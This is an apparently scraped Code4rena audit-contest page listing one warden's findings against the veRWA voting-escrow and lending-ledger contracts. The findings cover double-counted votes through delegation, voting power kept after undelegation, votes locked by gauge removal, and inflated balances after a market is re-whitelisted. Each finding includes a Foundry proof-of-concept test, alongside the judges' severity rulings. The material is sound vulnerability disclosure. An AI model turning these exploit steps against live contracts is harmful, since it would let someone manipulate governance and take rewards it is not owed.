Platform: Code4rena
Start Date: 07/08/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 125
Period: 3 days
Judge: alcueca
Total Solo HM: 4
Id: 274
League: ETH
Rank: 28/125
Findings: 3
Award: $146.07
π Selected for report: 0
π Solo Findings: 0
π Selected for report: 0x73696d616f
Also found by: 0xCiphky, 0xComfyCat, 0xDetermination, GREY-HAWK-REACH, QiuhaoLi, SpicyMeatball, Team_Rocket, Tricko, Yanchuan, deadrxsezzz, immeas, kaden, lanrebayode77, ltyu, mert_eren, nonseodion, oakcobalt, popular00, th13vn
36.9443 USDC - $36.94
https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L115 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L356
When a user (let's call them user1) casts a vote and subsequently delegates their voting rights to another user (user2), user2 inherits the voting power of user1. user2 can then cast a vote, effectively counting user1's votes twice. In such a scenario, the integrity of the voting system is compromised, as the same tokens can be used to influence the vote multiple times.
Here's a test case that demonstrates this:
function testVoteThenDelegate() public { vm.startPrank(gov); gc.add_gauge(gauge1); gc.add_gauge(gauge2); gc.change_gauge_weight(gauge1, 100); gc.change_gauge_weight(gauge2, 100); vm.stopPrank(); vm.deal(user1, 1 ether); vm.deal(user2, 1 ether); // user 1 vote for gauge 1 vm.startPrank(user1); ve.createLock{value: 1 ether}(1 ether); gc.vote_for_gauge_weights(gauge1, 10000); vm.stopPrank(); // user 2 create lock vm.prank(user2); ve.createLock{value: 1 ether}(1 ether); // user 1 delegate to user 2 vm.prank(user1); ve.delegate(user2); // user 2 vote for gauge 2 with user 1's voting power and user 2's voting power vm.prank(user2); gc.vote_for_gauge_weights(gauge2, 10000); // warp to next week vm.warp(block.timestamp + 1 weeks); (uint256 slopeUser1, uint256 powerUser1,) = gc.vote_user_slopes(user1, gauge1); console.log("user 1 vote slope", slopeUser1); console.log("user 1 vote power", powerUser1); console.log("--------------------------------------------------"); (uint256 slopeUser2, uint256 powerUser2,) = gc.vote_user_slopes(user2, gauge2); console.log("user 2 vote slope", slopeUser2); console.log("user 2 vote power", powerUser2); console.log("--------------------------------------------------"); // check gauge weights console.log("gauge 1 weight", gc.get_gauge_weight(gauge1)); console.log("gauge 2 weight", gc.get_gauge_weight(gauge2)); console.log("--------------------------------------------------"); // check relative weights console.log("relative weight", gc.gauge_relative_weight_write(gauge1, block.timestamp)); console.log("relative weight", gc.gauge_relative_weight_write(gauge2, block.timestamp)); console.log("--------------------------------------------------"); //check total weights console.log("total weight", gc._get_sum()); }
Upon examining the test case's output below, it's evident from the relative weight (which the rewards contract utilizes) that the system has taken into account both User 1βs original voting power and the voting power post-delegation.
Invalid Validation
#0 - c4-pre-sort
2023-08-12T10:34:06Z
141345 marked the issue as duplicate of #45
#1 - c4-pre-sort
2023-08-13T13:16:51Z
141345 marked the issue as duplicate of #99
#2 - c4-pre-sort
2023-08-13T17:09:08Z
141345 marked the issue as duplicate of #178
#3 - c4-pre-sort
2023-08-13T17:33:55Z
141345 marked the issue as not a duplicate
#4 - c4-pre-sort
2023-08-13T17:34:05Z
141345 marked the issue as duplicate of #86
#5 - c4-judge
2023-08-25T10:51:22Z
alcueca changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-08-25T10:51:34Z
alcueca changed the severity to 3 (High Risk)
#7 - c4-judge
2023-08-25T10:55:17Z
alcueca marked the issue as satisfactory
π Selected for report: 0x73696d616f
Also found by: 0xCiphky, 0xComfyCat, 0xDetermination, GREY-HAWK-REACH, QiuhaoLi, SpicyMeatball, Team_Rocket, Tricko, Yanchuan, deadrxsezzz, immeas, kaden, lanrebayode77, ltyu, mert_eren, nonseodion, oakcobalt, popular00, th13vn
36.9443 USDC - $36.94
https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L115 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L356
When tokens are delegated from one user (User A) to another (User B), the voting power is correctly combined. However, an inconsistency arises when the tokens are undelegated. If User B does not cast another vote after undelegation, they retain the combined voting power. This results in an inflated voting power for User B, which can skew the outcomes of votes. The sequence of events is as follows:
The test case below demonstrates this behaviour:
function testDelegateUndelegate() public { vm.startPrank(gov); gc.add_gauge(gauge1); gc.add_gauge(gauge2); gc.change_gauge_weight(gauge1, 100); gc.change_gauge_weight(gauge2, 100); vm.stopPrank(); vm.deal(user1, 1 ether); vm.deal(user2, 1 ether); // user 1 create lock vm.prank(user1); ve.createLock{value: 1 ether}(1 ether); // user 2 create lock vm.prank(user2); ve.createLock{value: 1 ether}(1 ether); // user 1 delegate to user 2 vm.prank(user1); ve.delegate(user2); // user 2 vote for gauge 2 with user 1's voting power and user 2's voting power vm.prank(user2); gc.vote_for_gauge_weights(gauge2, 10000); // warp to next week vm.warp(block.timestamp + 1 weeks); console.log("User 1 -> No votes, delegates to User 2"); console.log("user 2 -> Votes for gauge 2 with User 1's voting power and User 2's voting power"); // console log divider console.log("--------------------------------------------------"); (uint256 slopeUser1, uint256 powerUser1,) = gc.vote_user_slopes(user1, gauge1); console.log("user 1 vote slope", slopeUser1); console.log("user 1 vote power", powerUser1); // console log divider console.log("--------------------------------------------------"); (uint256 slopeUser2, uint256 powerUser2,) = gc.vote_user_slopes(user2, gauge2); console.log("user 2 vote slope", slopeUser2); console.log("user 2 vote power", powerUser2); // console log divider console.log("--------------------------------------------------"); // check relative weights console.log("relative weight g1", gc.gauge_relative_weight_write(gauge1, block.timestamp)); console.log("relative weight g2", gc.gauge_relative_weight_write(gauge2, block.timestamp)); // console log divider console.log("--------------------------------------------------"); //check total weights console.log("total weight", gc._get_sum()); // console log divider console.log("--------------------------------------------------"); // user 1 undelegate vm.prank(user1); ve.delegate(user1); //user1 vote for gauge 1 vm.prank(user1); gc.vote_for_gauge_weights(gauge1, 10000); gc.checkpoint_gauge(gauge1); gc.checkpoint_gauge(gauge2); // warp to next week vm.warp(block.timestamp + 1 weeks); console.log("next week "); console.log("User 1 -> Undelegates from User 2, votes for gauge 1"); console.log("user 2 -> No action"); // console log divider console.log("--------------------------------------------------"); (uint256 week2slopeUser1, uint256 week2powerUser1,) = gc.vote_user_slopes(user1, gauge1); console.log("user 1 vote slope", week2slopeUser1); console.log("user 1 vote power", week2powerUser1); // console log divider console.log("--------------------------------------------------"); (uint256 week2slopeUser2, uint256 week2powerUser2,) = gc.vote_user_slopes(user2, gauge2); console.log("user 2 vote slope", week2slopeUser2); console.log("user 2 vote power", week2powerUser2); // console log divider console.log("--------------------------------------------------"); // check relative weights console.log("relative weight g1", gc.gauge_relative_weight_write(gauge1, block.timestamp)); console.log("relative weight g2", gc.gauge_relative_weight_write(gauge2, block.timestamp)); // console log divider console.log("--------------------------------------------------"); //check total weights console.log("total weight", gc._get_sum()); }
Analyzing the test case output reveals:
Context
#0 - c4-pre-sort
2023-08-12T10:43:13Z
141345 marked the issue as duplicate of #45
#1 - c4-pre-sort
2023-08-13T13:16:52Z
141345 marked the issue as duplicate of #99
#2 - c4-pre-sort
2023-08-13T17:09:09Z
141345 marked the issue as duplicate of #178
#3 - c4-pre-sort
2023-08-13T17:33:39Z
141345 marked the issue as not a duplicate
#4 - c4-pre-sort
2023-08-13T17:33:48Z
141345 marked the issue as duplicate of #86
#5 - c4-judge
2023-08-25T10:51:22Z
alcueca changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-08-25T10:51:34Z
alcueca changed the severity to 3 (High Risk)
#7 - c4-judge
2023-08-25T10:55:11Z
alcueca marked the issue as satisfactory
π Selected for report: thekmj
Also found by: 0xCiphky, 0xDetermination, 0xbrett8571, Eeyore, Team_Rocket, Tripathi, bart1e, deadrxsezzz, immeas, ltyu, mert_eren, pep7siup, popular00
99.3104 USDC - $99.31
If a gauge that has previously been voted on by users is removed by governance, the voting power of those users becomes locked. This is due to the inability of users to invoke the voting function to reset their votes for that gauge, as the gauge is marked invalid upon removal.
Below is a test case demonstrating the issue:
function testRemoveGaugeResetVote() public { vm.startPrank(gov); gc.add_gauge(gauge1); gc.add_gauge(gauge2); gc.change_gauge_weight(gauge1, 100); gc.change_gauge_weight(gauge2, 100); vm.stopPrank(); vm.deal(user1, 1 ether); vm.startPrank(user1); ve.createLock{value: 1 ether}(1 ether); gc.vote_for_gauge_weights(gauge1, 10000); vm.stopPrank(); // warp 4 weeks vm.warp(block.timestamp + 4 weeks); console.log("week 4"); // remove gauge vm.startPrank(gov); gc.remove_gauge(gauge1); vm.stopPrank(); // user1 tries to change vote vm.startPrank(user1); vm.expectRevert("Invalid gauge address"); gc.vote_for_gauge_weights(gauge1, 0); vm.stopPrank(); }
In the test above:
gauge1
.gauge1
.gauge1
to 0, but it fails due to the "Invalid gauge address" check.isValidGauge
check.DoS
#0 - c4-pre-sort
2023-08-12T10:34:39Z
141345 marked the issue as duplicate of #62
#1 - c4-judge
2023-08-25T11:10:38Z
alcueca marked the issue as satisfactory
#2 - c4-judge
2023-08-25T22:43:22Z
alcueca changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-08-25T22:43:36Z
alcueca changed the severity to 3 (High Risk)
π Selected for report: RED-LOTUS-REACH
Also found by: 0x3b, 0x4non, 0xCiphky, 0xDING99YA, 0xDetermination, 0xE1, 0xG0P1, 0xStalin, 0xWaitress, 0xbrett8571, 0xhacksmithh, 0xkazim, 0xmuxyz, 0xweb3boy, 14si2o_Flint, AlexCzm, Alhakista, Bube, Bughunter101, Deekshith99, Eeyore, Giorgio, HChang26, InAllHonesty, JP_Courses, KmanOfficial, MatricksDeCoder, Mike_Bello90, MrPotatoMagic, Naubit, QiuhaoLi, RHaO-sec, Raihan, Rolezn, SUPERMAN_I4G, Shubham, Silverskrrrt, Strausses, T1MOH, Topmark, Tripathi, Watermelon, _eperezok, aakansha, auditsea, audityourcontracts, ayden, carlos__alegre, castle_chain, cducrest, ch0bu, d23e, deadrxsezzz, deth, devival, erebus, fatherOfBlocks, halden, hassan-truscova, hpsb, hunter_w3b, imkapadia, immeas, jat, kaden, kaveyjoe, klau5, koxuan, kutugu, ladboy233, lanrebayode77, leasowillow, lsaudit, markus_ether, matrix_0wl, merlin, nemveer, ni8mare, nonseodion, oakcobalt, owadez, p_crypt0, pipidu83, piyushshukla, popular00, ppetrov, rjs, sandy, sl1, supervrijdag, tay054, thekmj, wahedtalash77, windhustler, zhaojie
9.8204 USDC - $9.82
https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L152 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L204
The functionality exists in the protocol for governance to vote and remove a reward token and later reintroduce it. If this occurs, users might experience inflated balances. This can lead to significant losses for the protocol, as users could exploit this to earn more rewards than they're entitled to.
Consider the following sequence of events:
syncLedger
function fails to register this withdrawal.syncLedger
function, attempting to bridge the data gap, incorrectly adds this to the old balance. This results in User A appearing to have a balance of 110 units of token X, when in reality they only deposited 10 units.function testSyncLedgerWithGaps() public { // prepare whiteListMarket(); vm.warp(block.timestamp + WEEK); vm.startPrank(lendingMarket); int256 deltaStart = 1 ether; uint256 epochStart = (block.timestamp / WEEK) * WEEK; ledger.sync_ledger(lender, deltaStart); vm.stopPrank(); // remove market from whitelist vm.prank(goverance); ledger.whiteListLendingMarket(lendingMarket, false); // user removes liquidity tokens // warp 2 week uint256 newTime = block.timestamp + 3 * WEEK; vm.warp(newTime - 1 weeks); // add market to whitelist vm.prank(goverance); ledger.whiteListLendingMarket(lendingMarket, true); // warp 1 week vm.warp(block.timestamp + 1 weeks); int256 deltaEnd = 1 ether; uint256 epochEnd = (newTime / WEEK) * WEEK; uint256 lenderBalanceInitial = ledger.lendingMarketBalances(lendingMarket, lender, epochEnd); console.log("epochEnd", lenderBalanceInitial); vm.prank(lendingMarket); ledger.sync_ledger(lender, deltaEnd); // lender balance is forwarded and set uint256 lenderBalance = ledger.lendingMarketBalances(lendingMarket, lender, epochEnd); assertEq(lenderBalance, uint256(deltaStart) + uint256(deltaEnd)); // total balance is forwarded and set uint256 totalBalance = ledger.lendingMarketTotalBalance(lendingMarket, epochEnd); assertEq(totalBalance, uint256(deltaStart) + uint256(deltaEnd)); }
Analyzing the test case, it becomes evident that the user balance is reflective of the user's prior interactions with the token, pre-removal, and subsequent addition. This means any withdrawals made by the user during the interim (between removal and re-addition) are overlooked.
Whenever a token is reintroduced, ensure that all its associated values are reset to their default states. This should be done irrespective of any previous interactions with that token.
Context
#0 - 141345
2023-08-12T10:39:33Z
not exact the same as https://github.com/code-423n4/2023-08-verwa-findings/issues/39
#1 - c4-pre-sort
2023-08-12T14:33:51Z
141345 marked the issue as primary issue
#2 - c4-pre-sort
2023-08-13T15:44:29Z
141345 marked the issue as duplicate of #39
#3 - c4-judge
2023-08-24T21:42:31Z
alcueca changed the severity to QA (Quality Assurance)
#4 - alcueca
2023-08-24T21:43:27Z
Very unlikely scenario where markets are delisted and listed again.
#5 - c4-judge
2023-08-24T21:43:37Z
alcueca marked the issue as grade-a